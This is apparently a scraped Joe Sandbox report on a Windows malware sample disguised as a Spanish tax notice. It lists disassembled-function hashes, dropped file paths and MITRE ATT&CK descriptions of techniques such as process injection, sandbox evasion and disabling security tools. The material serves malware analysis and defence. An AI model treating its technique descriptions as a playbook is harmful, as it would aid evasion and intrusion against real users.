Instruction Fuzzy Hash: 3121BFB4D1564A8FCB40EFA8C9446EEBFF0FF49300F10556AD805B7260EB305A85CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 34875181 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf2dc5a1d157487a47e6efe68f6be455b9b2b75192e5221fed9c642d735e3937
Instruction ID: d6f4633e4d62283ab463469f21250d9d55e495d68c62ab8092a3935f9ee52f7b
Opcode Fuzzy Hash: cf2dc5a1d157487a47e6efe68f6be455b9b2b75192e5221fed9c642d735e3937
Instruction Fuzzy Hash: 3EE06830E052089BDF009E62E8192EAFBF6EBCA346F807024D11477150DB3012069A91

Uniqueness

Uniqueness Score: -1.00%

Function 348751EC Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15790d84dca68ae9bafe83bdad67651d068d2cccde8c2b13226331a8ec1f7767
Instruction ID: bf1b554e464b1e063655c4f7cc7f9d26ef2273a04bfa658b62b42e4a9aa43689
Opcode Fuzzy Hash: 15790d84dca68ae9bafe83bdad67651d068d2cccde8c2b13226331a8ec1f7767
Instruction Fuzzy Hash: 5FE0C052E0E340CFE7418BA148350B47F78DCD3197B4461CBD004D7931E610C30AD711

Uniqueness

Uniqueness Score: -1.00%

Function 34871F97 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb60b1c0c2b252758e01767002395072f6405f51e89c8fea3acd25da6a53a96
Instruction ID: 39d245005721e625c0c59d0bef6dddb41984f7a789bb3a1939e4299860399439
Opcode Fuzzy Hash: cdb60b1c0c2b252758e01767002395072f6405f51e89c8fea3acd25da6a53a96
Instruction Fuzzy Hash: D3E0D831D202D547CB119F64EC184EEBF31FEC6610B0445EAD45037111EB30165AC761

Uniqueness

Uniqueness Score: -1.00%

Function 34871FA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae1ea173433af8418291058719db450449332c6502b2d57ebdc193542d6a4c9e
Instruction ID: 086045e3416f572f3719dc5a57070ef2e2b698a9966385fe3f5475f1b8a6b05a
Opcode Fuzzy Hash: ae1ea173433af8418291058719db450449332c6502b2d57ebdc193542d6a4c9e
Instruction Fuzzy Hash: AAD01231D2022A578B10A7A9DC148DEBB38EE95621B504626E51437140EB70265986A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 34876300 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ed1bf9d6599967320e974c7d8353fd3510c893d58a509ba2814a8b868b84d37
Instruction ID: 2159c18dd07117e288cc3b8e000442f584b5ea2be08cd070b8e951c2e94e595d
Opcode Fuzzy Hash: 8ed1bf9d6599967320e974c7d8353fd3510c893d58a509ba2814a8b868b84d37
Instruction Fuzzy Hash: 13529E74E01228CFEB64DF65C994B9DBBB2BF89301F1081E9D409AB264DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 34876933 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 987819f1921056fed76620a71cf5429367c09892109e78d7e47514326f4b5c0e
Instruction ID: cd0ba7932697bb29226cd8c85f2d3a4744bd896553834ce4ca22ab4b79107c2b
Opcode Fuzzy Hash: 987819f1921056fed76620a71cf5429367c09892109e78d7e47514326f4b5c0e
Instruction Fuzzy Hash: 86A17E74A01228CFDB64DF64C854B99BBB2BF4A301F1085EAD40EB7260DB359E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 34876B14 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2494248567.0000000034870000.00000040.00000800.00020000.00000000.sdmp, Offset: 34870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6df23b87907ef8ac1a68a94b1a8baeb241f10c4529b204d7a939e1161ecca35
Instruction ID: d019ce85d46f107a225bc6cfbd3f0cf662888462d3fcf4ae909f157f55e69fd5
Opcode Fuzzy Hash: b6df23b87907ef8ac1a68a94b1a8baeb241f10c4529b204d7a939e1161ecca35
Instruction Fuzzy Hash: AA517174A01228CFDB65DF24C854B99BBB2BF4A301F5085E9D40AB7350DB359E82CF54

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rAEAT-AvisodeNotificaci__n.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_caspol.exe_8e75fe8585f03f6e7a5776aa659ed6798ddaaf9_ea830a9b_b9de75dd-ca8c-4b40-893f-36ddd515dbdd\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3F32.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40F8.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4128.tmp.xml

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Abtegnene\Fabriksnyt\Mdepligts\Sprnghoved\colorimeter-colorhug-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Betegner.But

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Diuresis\Slockingstone\Rattlebrains\battery-level-90-charging-symbolic.svg

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb\preferences-desktop-font-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb\task-due-symbolic.symbolic.png

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb\window-close.png

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\Minnesanger25.Sug

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.Primitives.dll

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.TypeExtensions.dll

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\media-playlist-consecutive-symbolic.svg

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\network-offline-symbolic.svg

Windows Analysis Report
rAEAT-AvisodeNotificaci__n.exe

Function 00403350 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 412
stringfilecomCOMMON

Function 00405402 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 00403D1B Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Function 0040596D Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 004065A2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Function 0040396D Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EC1 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00406281 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON